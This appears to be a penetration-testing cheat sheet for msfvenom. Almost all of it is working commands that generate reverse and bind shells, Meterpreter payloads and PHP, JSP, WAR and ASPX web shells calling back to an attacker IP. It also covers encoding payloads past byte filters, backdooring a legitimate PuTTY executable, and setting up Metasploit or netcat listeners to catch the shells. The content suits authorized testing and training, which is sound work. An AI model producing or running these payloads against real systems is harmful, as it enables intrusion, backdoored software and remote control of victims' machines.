msfvenom

Generate reverse shells & payloads for every platform and format

msfvenom Cheat Sheet

msfvenom generates standalone payloads (reverse/bind shells, Meterpreter, web shells) and encodes them into many output formats. For authorized testing only.

1. Basic syntax

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <outfile>

msfvenom -l payloads                 # list all payloads
msfvenom -l formats                  # list output formats
msfvenom -l encoders                 # list encoders
msfvenom --list-options -p <payload> # show a payload's options

2. Core flags

Flag	Meaning
`-p`	Payload (e.g. `windows/x64/meterpreter/reverse_tcp`)
`-f`	Output format (`exe`, `elf`, `raw`, `psh`, `python`…)
`-o`	Write to file
`-a`	Architecture (`x86`, `x64`)
`--platform`	Target platform (`windows`, `linux`, `osx`)
`-e`	Encoder (e.g. `x86/shikata_ga_nai`)
`-i`	Encoding iterations
`-b`	Bad characters to avoid (e.g. `'\x00\x0a\x0d'`)
`-n`	Prepend NOP sled of N bytes
`-x`	Template executable to embed the payload into
`-k`	Keep the template's original behavior (run payload in new thread)
`-v`	Custom variable name for shellcode output

3. Windows payloads

# Meterpreter reverse TCP (EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Plain reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o rev.exe

# Bind shell (target listens)
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind.exe

# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f psh -o shell.ps1

4. Linux payloads

# ELF Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# ELF plain reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o rev.elf

5. Web payloads

# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.jsp

# WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

# ASPX
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o shell.aspx

6. Scripting-language formats

# Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.py

# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.sh

# Raw shellcode for C (variable named buf)
msfvenom -p windows/x64/exec CMD=calc.exe -f c -v buf

7. Encoding & bad chars

# Encode 5 iterations with shikata_ga_nai
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f exe -o enc.exe

# Avoid null / newline / carriage-return bytes
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -b '\x00\x0a\x0d' -f c

8. Embed in a legit executable

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -x /path/to/putty.exe -k -f exe -o putty_backdoor.exe

9. Catch the payload

Start a matching handler in Metasploit (PAYLOAD/LHOST/LPORT must match):

msfconsole -q -x "use exploit/multi/handler; \
  set PAYLOAD windows/x64/meterpreter/reverse_tcp; \
  set LHOST 10.10.14.5; set LPORT 4444; run"

Plain shell_reverse_tcp payloads can be caught with nc -lvnp 4444.

10. Tips

Match -a/--platform to the target; a 32-bit payload won't run cleanly everywhere.
staged payloads (.../meterpreter/reverse_tcp) need a Metasploit handler; stageless (meterpreter_reverse_tcp, shell_reverse_tcp) are self-contained.
Encoders defeat byte filters, not modern AV — don't rely on shikata_ga_nai for evasion.
List a payload's exact options with msfvenom -p <payload> --list-options.

Authorized testing only. Practice on the AYSEC challenges. See also the Metasploit and reverse shell cheat sheets.